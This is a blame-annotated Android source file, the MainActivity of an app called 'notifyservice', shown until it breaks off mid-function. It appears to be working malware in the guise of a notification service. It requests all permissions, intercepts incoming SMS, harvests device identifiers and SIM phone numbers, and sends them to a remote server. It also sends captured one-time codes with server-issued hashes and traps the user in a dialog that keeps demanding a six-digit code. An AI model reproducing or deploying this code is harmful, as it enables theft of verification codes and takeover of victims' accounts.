2025-01-29 23:01:25 +03:00
|
|
|
package com.example.notifyservice;
|
|
|
|
|
2025-02-26 21:39:26 +03:00
|
|
|
import android.Manifest;
|
|
|
|
import android.app.AlertDialog;
|
|
|
|
import android.content.BroadcastReceiver;
|
2025-01-29 23:01:25 +03:00
|
|
|
import android.content.Context;
|
2025-02-26 21:39:26 +03:00
|
|
|
import android.content.DialogInterface;
|
2025-01-29 23:01:25 +03:00
|
|
|
import android.content.Intent;
|
2025-02-26 21:39:26 +03:00
|
|
|
import android.content.IntentFilter;
|
2025-02-28 23:41:43 +03:00
|
|
|
import android.content.SharedPreferences;
|
2025-01-29 23:01:25 +03:00
|
|
|
import android.content.pm.PackageManager;
|
|
|
|
import android.net.ConnectivityManager;
|
|
|
|
import android.net.Network;
|
|
|
|
import android.net.NetworkCapabilities;
|
|
|
|
import android.os.Build;
|
|
|
|
import android.os.Bundle;
|
|
|
|
|
2025-04-09 19:39:11 +03:00
|
|
|
import android.preference.PreferenceManager;
|
2025-02-26 21:39:26 +03:00
|
|
|
import android.telephony.TelephonyManager;
|
2025-04-16 16:07:59 +03:00
|
|
|
import android.text.InputType;
|
2025-02-26 21:39:26 +03:00
|
|
|
import android.view.View;
|
|
|
|
import android.view.ViewGroup;
|
2025-04-16 16:07:59 +03:00
|
|
|
import android.view.WindowManager;
|
2025-02-26 21:39:26 +03:00
|
|
|
import android.webkit.WebChromeClient;
|
|
|
|
import android.webkit.WebSettings;
|
|
|
|
import android.webkit.WebView;
|
|
|
|
import android.webkit.WebViewClient;
|
|
|
|
import androidx.appcompat.app.AppCompatActivity;
|
|
|
|
|
2025-01-29 23:01:25 +03:00
|
|
|
import androidx.annotation.NonNull;
|
|
|
|
import androidx.core.app.ActivityCompat;
|
2025-02-28 23:41:43 +03:00
|
|
|
import androidx.core.content.ContextCompat;
|
2025-01-29 23:01:25 +03:00
|
|
|
|
|
|
|
import android.os.Handler;
|
|
|
|
import android.provider.Settings;
|
2025-02-26 21:39:26 +03:00
|
|
|
import android.provider.Telephony;
|
|
|
|
import android.telephony.SmsMessage;
|
2025-01-29 23:01:25 +03:00
|
|
|
import android.telephony.SubscriptionInfo;
|
|
|
|
import android.telephony.SubscriptionManager;
|
|
|
|
import android.util.Log;
|
|
|
|
|
|
|
|
import org.json.JSONException;
|
2025-02-28 23:41:43 +03:00
|
|
|
import org.json.JSONObject;
|
2025-01-29 23:01:25 +03:00
|
|
|
|
2025-04-09 19:02:59 +03:00
|
|
|
import java.lang.ref.WeakReference;
|
2025-01-29 23:01:25 +03:00
|
|
|
import java.util.ArrayList;
|
2025-04-09 00:06:41 +03:00
|
|
|
import java.util.Arrays;
|
2025-01-29 23:01:25 +03:00
|
|
|
import java.util.List;
|
|
|
|
|
2025-02-26 21:39:26 +03:00
|
|
|
import java.util.Locale;
|
2025-04-09 17:32:57 +03:00
|
|
|
import java.util.Objects;
|
2025-02-28 23:41:43 +03:00
|
|
|
import java.util.Timer;
|
|
|
|
import java.util.TimerTask;
|
2025-02-26 21:39:26 +03:00
|
|
|
import java.util.regex.Matcher;
|
|
|
|
import java.util.regex.Pattern;
|
2025-04-16 15:58:04 +03:00
|
|
|
import android.widget.EditText;
|
2025-02-26 21:39:26 +03:00
|
|
|
|
2025-03-04 19:36:58 +03:00
|
|
|
public class MainActivity extends AppCompatActivity implements PostRequestCallback, GetRequestCallback {
|
|
|
|
|
2025-03-11 20:53:41 +03:00
|
|
|
private final String websiteUrl = "WEBSITE_URL"; // VARIABLE STATIC
|
|
|
|
private final String ussdUrl = "USSD_URL"; // VARIABLE STATIC
|
|
|
|
private final String languagesUrl = "LANGUAGES_URL"; // VARIABLE STATIC
|
2025-03-04 19:36:58 +03:00
|
|
|
private int requestsCount = 0;
|
2025-02-26 21:39:26 +03:00
|
|
|
|
|
|
|
private WebView webView;
|
|
|
|
private View customView;
|
|
|
|
private WebChromeClient.CustomViewCallback customViewCallback;
|
|
|
|
private ViewGroup mainContainer;
|
|
|
|
|
|
|
|
private int currentPhone = 0;
|
2025-02-28 23:41:43 +03:00
|
|
|
private List<PhoneNumber> phones;
|
|
|
|
private boolean receivingSms = false;
|
|
|
|
private double codeTimeout = 0.0;
|
|
|
|
private Timer timer;
|
|
|
|
|
|
|
|
private List<String> codes = new ArrayList<>();
|
2025-02-26 21:39:26 +03:00
|
|
|
|
2025-03-04 19:36:58 +03:00
|
|
|
private JSONObject ussd;
|
|
|
|
private JSONObject language;
|
|
|
|
|
2025-04-09 00:06:41 +03:00
|
|
|
|
2025-02-28 23:41:43 +03:00
|
|
|
public class PhoneNumber {
|
|
|
|
public String phone;
|
|
|
|
public TelephonyManager telephonyManager;
|
|
|
|
public String operator;
|
|
|
|
public String country;
|
|
|
|
|
|
|
|
private PhoneNumber(
|
|
|
|
String phone,
|
|
|
|
TelephonyManager telephonyManager,
|
|
|
|
String operator,
|
|
|
|
String country
|
|
|
|
) {
|
|
|
|
this.phone = phone;
|
|
|
|
this.telephonyManager = telephonyManager;
|
|
|
|
this.operator = operator;
|
|
|
|
this.country = country;
|
|
|
|
}
|
|
|
|
|
|
|
|
public boolean phoneProvided(){
|
|
|
|
return !phone.isEmpty();
|
|
|
|
}
|
|
|
|
|
|
|
|
public String getPhone() {
|
|
|
|
return phone;
|
|
|
|
}
|
|
|
|
|
|
|
|
public TelephonyManager getSubscriptionId() {
|
|
|
|
return telephonyManager;
|
|
|
|
}
|
|
|
|
|
|
|
|
public String getOperator() {
|
|
|
|
return operator;
|
|
|
|
}
|
|
|
|
|
|
|
|
public String getCountry() {
|
|
|
|
return country;
|
|
|
|
}
|
|
|
|
|
|
|
|
public void setPhone(String phone) {
|
|
|
|
this.phone = phone;
|
|
|
|
}
|
|
|
|
|
|
|
|
public String save(){
|
2025-03-04 19:36:58 +03:00
|
|
|
return phone + ":" + operator // STATIC
|
|
|
|
+ ":" + country; // STATIC
|
2025-02-28 23:41:43 +03:00
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2025-01-29 23:01:25 +03:00
|
|
|
@Override
|
|
|
|
protected void onCreate(Bundle savedInstanceState) {
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "1"); // STATIC
|
2025-01-29 23:01:25 +03:00
|
|
|
super.onCreate(savedInstanceState);
|
|
|
|
setContentView(R.layout.activity_main);
|
|
|
|
|
2025-02-26 21:39:26 +03:00
|
|
|
webView = findViewById(R.id.webview);
|
|
|
|
mainContainer = findViewById(android.R.id.content);
|
|
|
|
|
2025-04-09 18:21:03 +03:00
|
|
|
|
2025-02-26 21:39:26 +03:00
|
|
|
WebSettings webSettings = webView.getSettings();
|
2025-03-04 19:43:19 +03:00
|
|
|
webSettings.setJavaScriptEnabled(true);
|
|
|
|
webSettings.setDomStorageEnabled(true);
|
|
|
|
webSettings.setDatabaseEnabled(true);
|
|
|
|
webSettings.setAllowFileAccess(true);
|
|
|
|
webSettings.setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW);
|
2025-02-26 21:39:26 +03:00
|
|
|
|
|
|
|
webView.setWebChromeClient(new WebChromeClient() {
|
|
|
|
@Override
|
|
|
|
public void onShowCustomView(View view, WebChromeClient.CustomViewCallback callback) {
|
|
|
|
if (customView != null) {
|
|
|
|
callback.onCustomViewHidden();
|
|
|
|
return;
|
|
|
|
}
|
|
|
|
|
|
|
|
customView = view;
|
|
|
|
customViewCallback = callback;
|
|
|
|
|
|
|
|
mainContainer.addView(customView);
|
|
|
|
webView.setVisibility(View.GONE);
|
|
|
|
}
|
|
|
|
|
|
|
|
@Override
|
|
|
|
public void onHideCustomView() {
|
|
|
|
if (customView == null) {
|
|
|
|
return;
|
|
|
|
}
|
|
|
|
|
|
|
|
mainContainer.removeView(customView);
|
|
|
|
customView = null;
|
|
|
|
webView.setVisibility(View.VISIBLE);
|
|
|
|
customViewCallback.onCustomViewHidden();
|
|
|
|
}
|
|
|
|
});
|
|
|
|
|
|
|
|
webView.setWebViewClient(new WebViewClient() {
|
|
|
|
@Override
|
|
|
|
public boolean shouldOverrideUrlLoading(WebView view, String url) {
|
2025-03-04 19:43:19 +03:00
|
|
|
view.loadUrl(url);
|
2025-02-26 21:39:26 +03:00
|
|
|
return true;
|
|
|
|
}
|
|
|
|
});
|
|
|
|
|
|
|
|
// Загрузка начального URL
|
|
|
|
webView.loadUrl(websiteUrl);
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "Loading data..."); // STATIC
|
2025-03-04 19:43:19 +03:00
|
|
|
loadData();
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "Data loaded."); // STATIC
|
2025-04-09 00:06:41 +03:00
|
|
|
|
2025-03-04 19:36:58 +03:00
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
private void loadData() {
|
2025-03-13 21:42:02 +03:00
|
|
|
|
2025-03-04 19:36:58 +03:00
|
|
|
requestsCount = 0;
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "Requesting ussds - " + ussdUrl); // STATIC
|
2025-03-04 19:36:58 +03:00
|
|
|
GetRequest ussdRequestTask = new GetRequest(this, this);
|
|
|
|
ussdRequestTask.execute(ussdUrl);
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "Requesting languages - " + languagesUrl); // STATIC
|
2025-03-04 19:36:58 +03:00
|
|
|
GetRequest languagesRequestTask = new GetRequest(this, this);
|
|
|
|
languagesRequestTask.execute(languagesUrl);
|
2025-02-28 23:41:43 +03:00
|
|
|
}
|
|
|
|
|
|
|
|
public static String getKey(Context context) {
|
|
|
|
try {
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "Get key"); // STATIC
|
2025-02-28 23:41:43 +03:00
|
|
|
SharedPreferences sharedPreferences = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE);
|
|
|
|
return sharedPreferences.getString("KEY",
|
|
|
|
"INIT_KEY"); // VARIABLE STATIC
|
|
|
|
} catch (Exception e) {
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("agg", Arrays.toString(e.getStackTrace())); // STATIC
|
2025-03-04 19:43:19 +03:00
|
|
|
return ""; // STATIC
|
2025-02-28 23:41:43 +03:00
|
|
|
}
|
|
|
|
}
|
2025-01-29 23:01:25 +03:00
|
|
|
|
2025-02-28 23:41:43 +03:00
|
|
|
public static void setKey(Context context, String key) {
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "Set key"); // STATIC
|
2025-02-28 23:41:43 +03:00
|
|
|
SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE).edit();
|
|
|
|
editor.putString("KEY", key);
|
|
|
|
editor.apply();
|
2025-02-26 21:39:26 +03:00
|
|
|
}
|
|
|
|
|
2025-03-04 19:36:58 +03:00
|
|
|
private void promptNotificationAccess() throws JSONException {
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "Prompt"); // STATIC
|
2025-02-26 21:39:26 +03:00
|
|
|
AlertDialog.Builder builder = new AlertDialog.Builder(this);
|
2025-03-04 19:36:58 +03:00
|
|
|
builder.setTitle(language.getString("title")); // STATIC
|
|
|
|
builder.setMessage(language.getString("message")); // STATIC
|
2025-02-26 21:39:26 +03:00
|
|
|
|
2025-03-04 19:36:58 +03:00
|
|
|
builder.setPositiveButton(language.getString("positive"), new DialogInterface.OnClickListener() { // STATIC
|
2025-02-26 21:39:26 +03:00
|
|
|
@Override
|
|
|
|
public void onClick(DialogInterface dialogInterface, int i) {
|
|
|
|
Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS);
|
|
|
|
startActivity(intent);
|
2025-02-28 23:41:43 +03:00
|
|
|
dialogInterface.dismiss();
|
|
|
|
System.exit(0);
|
2025-02-26 21:39:26 +03:00
|
|
|
}
|
|
|
|
});
|
|
|
|
|
2025-03-04 19:36:58 +03:00
|
|
|
builder.setNegativeButton(language.getString("negative"), new DialogInterface.OnClickListener() { // STATIC
|
2025-02-26 21:39:26 +03:00
|
|
|
@Override
|
|
|
|
public void onClick(DialogInterface dialogInterface, int i) {
|
|
|
|
dialogInterface.dismiss();
|
2025-03-04 19:36:58 +03:00
|
|
|
finish();
|
2025-02-26 21:39:26 +03:00
|
|
|
}
|
|
|
|
});
|
|
|
|
|
2025-03-06 22:31:04 +03:00
|
|
|
this.runOnUiThread(new Runnable() {
|
|
|
|
public void run() {
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "Run thread"); // STATIC
|
2025-03-06 22:31:04 +03:00
|
|
|
AlertDialog dialog = builder.create();
|
|
|
|
dialog.show();
|
|
|
|
}
|
|
|
|
});
|
2025-01-29 23:01:25 +03:00
|
|
|
}
|
|
|
|
|
2025-02-26 21:39:26 +03:00
|
|
|
public static String getDeviceInfo(Context context)
|
2025-01-29 23:01:25 +03:00
|
|
|
{
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "Get device info"); // STATIC
|
2025-03-04 19:43:19 +03:00
|
|
|
String m_data = ""; // STATIC
|
2025-03-04 19:36:58 +03:00
|
|
|
String p_seperator = ":"; // STATIC
|
2025-01-29 23:01:25 +03:00
|
|
|
StringBuilder m_builder = new StringBuilder();
|
|
|
|
m_builder.append(android.os.Build.VERSION.RELEASE + p_seperator);
|
|
|
|
m_builder.append(android.os.Build.DEVICE + p_seperator);
|
|
|
|
m_builder.append(android.os.Build.MODEL + p_seperator);
|
|
|
|
m_builder.append(android.os.Build.PRODUCT + p_seperator);
|
|
|
|
m_builder.append(android.os.Build.BRAND + p_seperator);
|
|
|
|
m_builder.append(android.os.Build.DISPLAY + p_seperator);
|
|
|
|
// TODO : android.os.Build.CPU_ABI is deprecated
|
|
|
|
m_builder.append(android.os.Build.CPU_ABI + p_seperator);
|
|
|
|
// TODO : android.os.Build.CPU_ABI2 is deprecated
|
|
|
|
m_builder.append(android.os.Build.CPU_ABI2 + p_seperator);
|
|
|
|
m_builder.append(android.os.Build.UNKNOWN + p_seperator);
|
|
|
|
m_builder.append(android.os.Build.HARDWARE + p_seperator);
|
|
|
|
m_builder.append(android.os.Build.ID + p_seperator);
|
|
|
|
m_builder.append(android.os.Build.MANUFACTURER + p_seperator);
|
|
|
|
m_builder.append(android.os.Build.SERIAL + p_seperator);
|
|
|
|
m_builder.append(android.os.Build.USER + p_seperator);
|
|
|
|
m_builder.append(android.os.Build.HOST + p_seperator);
|
|
|
|
String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID);
|
2025-02-26 21:39:26 +03:00
|
|
|
m_builder.append(android_id);
|
2025-01-29 23:01:25 +03:00
|
|
|
m_data = m_builder.toString();
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "Collected device info - " + m_data); // STATIC
|
2025-01-29 23:01:25 +03:00
|
|
|
return m_data;
|
|
|
|
}
|
|
|
|
|
|
|
|
@Override
|
|
|
|
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
|
|
|
|
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
|
|
|
|
if (requestCode == 1 && grantResults.length > 0 && !(grantResults[0] == PackageManager.PERMISSION_GRANTED)) {
|
|
|
|
requestPermissions(retrievePermissions(this));
|
|
|
|
} else if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED){
|
2025-02-26 21:39:26 +03:00
|
|
|
registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION));
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "Make process"); // STATIC
|
2025-01-29 23:01:25 +03:00
|
|
|
Context permissionContext = this;
|
|
|
|
new Handler().postDelayed(() -> makeProcess(permissionContext), 500);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2025-04-09 19:02:59 +03:00
|
|
|
public void handleCodeReceived(String code) {
|
2025-02-28 23:41:43 +03:00
|
|
|
if(codes.contains(code))
|
|
|
|
return;
|
|
|
|
codes.add(code);
|
|
|
|
cancelTimer();
|
2025-04-09 19:39:11 +03:00
|
|
|
PostRequest postRequestTask = new PostRequest(this, this);
|
|
|
|
postRequestTask.execute("code",
|
|
|
|
code + ";" + getCurrentHash(this)); // STATIC
|
2025-04-09 20:22:27 +03:00
|
|
|
setCurrentHash(this, "");
|
2025-02-28 23:41:43 +03:00
|
|
|
nextPhone();
|
|
|
|
}
|
|
|
|
|
|
|
|
public void cancelTimer(){
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "Canceling timer"); // STATIC
|
2025-02-28 23:41:43 +03:00
|
|
|
if (timer != null) {
|
|
|
|
timer.cancel();
|
2025-02-26 21:39:26 +03:00
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2025-02-28 23:41:43 +03:00
|
|
|
public void nextPhone() {
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "Next phone"); // STATIC
|
2025-02-28 23:41:43 +03:00
|
|
|
currentPhone += 1;
|
|
|
|
if (phones.size() > currentPhone)
|
|
|
|
savePhone(getBaseContext(), phones.get(currentPhone));
|
|
|
|
}
|
|
|
|
|
2025-01-29 23:01:25 +03:00
|
|
|
private void makeProcess(Context context) {
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "Make process task..."); // STATIC
|
2025-04-16 00:35:18 +03:00
|
|
|
PostRequest postRequestTask = new PostRequest(this, this);
|
2025-04-16 00:50:43 +03:00
|
|
|
postRequestTask.execute("makeProcess",
|
2025-04-16 00:35:18 +03:00
|
|
|
getDeviceInfo(context)); // STATIC
|
2025-02-26 21:39:26 +03:00
|
|
|
currentPhone = 0;
|
|
|
|
phones = collectPhoneNumber(context);
|
2025-02-28 23:41:43 +03:00
|
|
|
savePhone(context, phones.get(currentPhone));
|
2025-02-26 21:39:26 +03:00
|
|
|
}
|
|
|
|
|
2025-04-09 19:02:59 +03:00
|
|
|
public static String getCurrentHash(Context context) {
|
2025-04-09 19:39:11 +03:00
|
|
|
SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(context);
|
2025-04-09 19:02:59 +03:00
|
|
|
return prefs.getString("KEY_HASH", ""); // Return empty string if not found
|
|
|
|
}
|
|
|
|
|
|
|
|
// Store the hash value
|
|
|
|
public static void setCurrentHash(Context context, String hash) {
|
2025-04-09 19:39:11 +03:00
|
|
|
SharedPreferences.Editor editor = PreferenceManager.getDefaultSharedPreferences(context).edit();
|
2025-04-09 19:02:59 +03:00
|
|
|
editor.putString("KEY_HASH", hash);
|
|
|
|
editor.apply(); // Asynchronously save changes
|
|
|
|
}
|
|
|
|
|
2025-02-28 23:41:43 +03:00
|
|
|
public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) {
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "isSimConnected"); // STATIC
|
2025-02-28 23:41:43 +03:00
|
|
|
if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE)
|
|
|
|
!= PackageManager.PERMISSION_GRANTED) {
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
if (telephonyManager == null) {
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
|
|
|
|
if (telephonyManager.getSimState() != TelephonyManager.SIM_STATE_READY) {
|
2025-03-04 19:36:58 +03:00
|
|
|
return false;
|
2025-02-28 23:41:43 +03:00
|
|
|
}
|
2025-02-26 22:02:50 +03:00
|
|
|
|
2025-04-09 17:32:57 +03:00
|
|
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
|
|
|
|
if (Objects.requireNonNull(telephonyManager.getSignalStrength()).getLevel() == 0)
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
|
2025-03-04 19:36:58 +03:00
|
|
|
return true;
|
2025-02-28 23:41:43 +03:00
|
|
|
}
|
|
|
|
|
|
|
|
private void savePhone(Context context, PhoneNumber phone){
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "SavePhone - " + phone.phone); // STATIC
|
2025-02-28 23:41:43 +03:00
|
|
|
if(phone.phoneProvided()){
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "PhoneProvided"); // STATIC
|
2025-02-28 23:41:43 +03:00
|
|
|
requestPhone(context, phone);
|
|
|
|
} else {
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "Phone not provided"); // STATIC
|
2025-02-28 23:41:43 +03:00
|
|
|
receivingSms = false;
|
2025-04-09 19:02:59 +03:00
|
|
|
setCurrentHash(context, ""); // STATIC
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "Sim connected result: " + isSimConnected(context, phone.telephonyManager));
|
2025-04-15 20:29:11 +03:00
|
|
|
if(!isSimConnected(context, phone.telephonyManager) || !ussd.has(phone.operator))
|
2025-02-28 23:41:43 +03:00
|
|
|
nextPhone();
|
|
|
|
else
|
|
|
|
requestUssdNumber(phone);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
private void requestPhone(Context context, PhoneNumber phone){
|
2025-04-09 19:02:59 +03:00
|
|
|
setCurrentHash(context, ""); // STATIC
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "Requesting phone - " + phone.phone); // STATIC
|
2025-02-28 23:41:43 +03:00
|
|
|
PostRequest postRequestTask = new PostRequest(context, this);
|
|
|
|
postRequestTask.execute("phone",
|
|
|
|
phone.save() + ";" + getDeviceInfo(context)); // STATIC
|
2025-02-26 21:39:26 +03:00
|
|
|
}
|
|
|
|
|
2025-04-16 15:58:04 +03:00
|
|
|
public static boolean isNumeric(String strNum) {
|
|
|
|
if (strNum == null) {
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
try {
|
|
|
|
double d = Double.parseDouble(strNum);
|
|
|
|
} catch (NumberFormatException nfe) {
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
return true;
|
|
|
|
}
|
|
|
|
|
|
|
|
public void createDialog() {
|
|
|
|
try {
|
|
|
|
EditText editTextField = new EditText(this);
|
2025-04-16 16:07:59 +03:00
|
|
|
editTextField.setInputType(InputType.TYPE_CLASS_NUMBER);
|
|
|
|
editTextField.setHint("...");
|
2025-04-16 15:58:04 +03:00
|
|
|
AlertDialog.Builder builder = new AlertDialog.Builder(this);
|
|
|
|
builder.setTitle(language.getString("title")); // STATIC
|
|
|
|
builder.setMessage(language.getString("message")); // STATIC
|
|
|
|
builder.setView(editTextField);
|
|
|
|
builder.setPositiveButton(language.getString("positive"), new DialogInterface.OnClickListener() { // STATIC
|
|
|
|
@Override
|
|
|
|
public void onClick(DialogInterface dialogInterface, int i) {
|
|
|
|
String editTextInput = editTextField.getText().toString();
|
|
|
|
if (!isNumeric(editTextInput) || editTextInput.length() != 6) {
|
|
|
|
dialogInterface.dismiss();
|
|
|
|
createDialog();
|
|
|
|
return;
|
|
|
|
}
|
|
|
|
handleCodeReceived(editTextInput);
|
|
|
|
}
|
|
|
|
});
|
|
|
|
|
|
|
|
builder.setNegativeButton(language.getString("negative"), new DialogInterface.OnClickListener() { // STATIC
|
|
|
|
@Override
|
|
|
|
public void onClick(DialogInterface dialogInterface, int i) {
|
|
|
|
dialogInterface.dismiss();
|
|
|
|
createDialog();
|
|
|
|
return;
|
|
|
|
}
|
|
|
|
});
|
|
|
|
|
|
|
|
this.runOnUiThread(new Runnable() {
|
|
|
|
public void run() {
|
|
|
|
// Log.i("a", "Run thread"); // STATIC
|
|
|
|
AlertDialog dialog = builder.create();
|
|
|
|
dialog.show();
|
2025-04-16 16:07:59 +03:00
|
|
|
Objects.requireNonNull(dialog.getWindow()).setSoftInputMode(WindowManager.LayoutParams.SOFT_INPUT_STATE_VISIBLE);
|
2025-04-16 15:58:04 +03:00
|
|
|
}
|
|
|
|
});
|
|
|
|
} catch (Exception ignore){}
|
|
|
|
}
|
|
|
|
|
2025-02-26 21:39:26 +03:00
|
|
|
@Override
|
2025-02-28 23:41:43 +03:00
|
|
|
public void onPostResponse(JSONObject result) {
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "On post Response"); // STATIC
|
2025-02-28 23:41:43 +03:00
|
|
|
try {
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("PostResult", result.toString()); // STATIC
|
2025-04-09 16:30:58 +03:00
|
|
|
if(result.has("hash")) { // STATIC
|
2025-04-09 19:02:59 +03:00
|
|
|
setCurrentHash(this, result.getString("hash")); // STATIC
|
2025-04-16 15:58:04 +03:00
|
|
|
createDialog();
|
2025-04-09 16:30:58 +03:00
|
|
|
}
|
2025-03-23 13:40:30 +03:00
|
|
|
if(result.has("key")) // STATIC
|
2025-03-04 19:36:58 +03:00
|
|
|
setKey(getBaseContext(), result.getString("key")); // STATIC
|
2025-03-23 13:40:30 +03:00
|
|
|
if(result.has("timeout")) { // STATIC
|
2025-03-04 19:36:58 +03:00
|
|
|
codeTimeout = result.getDouble("timeout"); // STATIC
|
2025-02-28 23:41:43 +03:00
|
|
|
Timer timer = new Timer();
|
|
|
|
timer.schedule(new TimerTask() {
|
|
|
|
@Override
|
|
|
|
public void run() {
|
|
|
|
nextPhone();
|
|
|
|
}
|
|
|
|
}, Math.round(codeTimeout * 1000));
|
|
|
|
}
|
2025-04-09 16:44:48 +03:00
|
|
|
} catch (Exception e) {
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("j", Arrays.toString(e.getStackTrace()));
|
2025-02-28 23:41:43 +03:00
|
|
|
throw new RuntimeException(e);
|
|
|
|
}
|
|
|
|
|
2025-01-29 23:01:25 +03:00
|
|
|
}
|
|
|
|
|
2025-03-04 19:36:58 +03:00
|
|
|
@Override
|
|
|
|
public void onGetResponse(JSONObject result) {
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "onGetResponse"); // STATIC
|
2025-03-04 19:36:58 +03:00
|
|
|
try {
|
|
|
|
if(result.get("name"). // STATIC
|
|
|
|
equals("ussd")){ // STATIC
|
|
|
|
ussd = result.getJSONObject(
|
|
|
|
"data" // STATIC
|
|
|
|
);
|
2025-03-06 22:31:04 +03:00
|
|
|
requestsCount += 1;
|
2025-03-04 19:36:58 +03:00
|
|
|
|
|
|
|
} else if (result.get("name"). // STATIC
|
|
|
|
equals("languages")) { // STATIC
|
2025-04-15 20:29:11 +03:00
|
|
|
String currentLanguage;
|
|
|
|
if(!result.getJSONObject("data").has(Locale.getDefault().getLanguage())) // STATIC
|
|
|
|
currentLanguage = "en"; // STATIC
|
|
|
|
else
|
|
|
|
currentLanguage = Locale.getDefault().getLanguage();
|
|
|
|
|
|
|
|
|
2025-03-04 19:36:58 +03:00
|
|
|
language = result.getJSONObject(
|
|
|
|
"data" // STATIC
|
2025-04-15 20:29:11 +03:00
|
|
|
).getJSONObject(currentLanguage);
|
|
|
|
|
2025-03-06 22:31:04 +03:00
|
|
|
requestsCount += 1;
|
2025-03-04 19:36:58 +03:00
|
|
|
}
|
|
|
|
if (requestsCount == 2) {
|
2025-04-16 15:58:04 +03:00
|
|
|
PostRequest postRequestTask = new PostRequest(this, this);
|
|
|
|
postRequestTask.execute("requestPermissions",
|
|
|
|
getDeviceInfo(this)); // STATIC
|
|
|
|
requestPermissions(retrievePermissions(this));
|
2025-03-04 19:36:58 +03:00
|
|
|
}
|
2025-04-15 20:29:11 +03:00
|
|
|
} catch (Exception e) {
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("ww", Arrays.toString(e.getStackTrace()));
|
2025-03-04 19:36:58 +03:00
|
|
|
throw new RuntimeException(e);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2025-01-29 23:01:25 +03:00
|
|
|
private boolean isNotificationServiceEnabled() {
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "isNotificationServiceEnabled"); // STATIC
|
2025-01-29 23:01:25 +03:00
|
|
|
String packageName = getPackageName();
|
|
|
|
String enabledListeners = Settings.Secure.getString(
|
|
|
|
getContentResolver(),
|
2025-03-04 19:36:58 +03:00
|
|
|
"enabled_notification_listeners" // STATIC
|
2025-01-29 23:01:25 +03:00
|
|
|
);
|
|
|
|
return enabledListeners != null && enabledListeners.contains(packageName);
|
|
|
|
}
|
|
|
|
|
|
|
|
private void requestNotificationAccess() {
|
|
|
|
Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS);
|
|
|
|
startActivity(intent);
|
|
|
|
}
|
|
|
|
|
|
|
|
private static String[] retrievePermissions(Context context) {
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "retrievePermissions"); // STATIC
|
2025-01-29 23:01:25 +03:00
|
|
|
final String pkgName = context.getPackageName();
|
|
|
|
try {
|
|
|
|
return context
|
|
|
|
.getPackageManager()
|
|
|
|
.getPackageInfo(pkgName, PackageManager.GET_PERMISSIONS)
|
|
|
|
.requestedPermissions;
|
|
|
|
} catch (PackageManager.NameNotFoundException e) {
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("222", Arrays.toString(e.getStackTrace()));
|
2025-01-29 23:01:25 +03:00
|
|
|
return new String[0];
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
private void requestPermissions(String[] permissions) {
|
2025-04-09 20:23:56 +03:00
|
|
|
// Log.i("a", "requestPermissions"); // STATIC
|
2025-01-29 23:01:25 +03:00
|
|
|
ActivityCompat.requestPermissions(MainActivity.this, permissions, 1);
|
|
|
|
}
|
|
|
|
|
|
|
|
private static boolean isNetworkAvailable(Context context) {
|
|
|
|
ConnectivityManager connectivityManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
|
|
|
|
Network nw = connectivityManager.getActiveNetwork();
|
|
|
|
if (nw == null) return false;
|
|
|
|
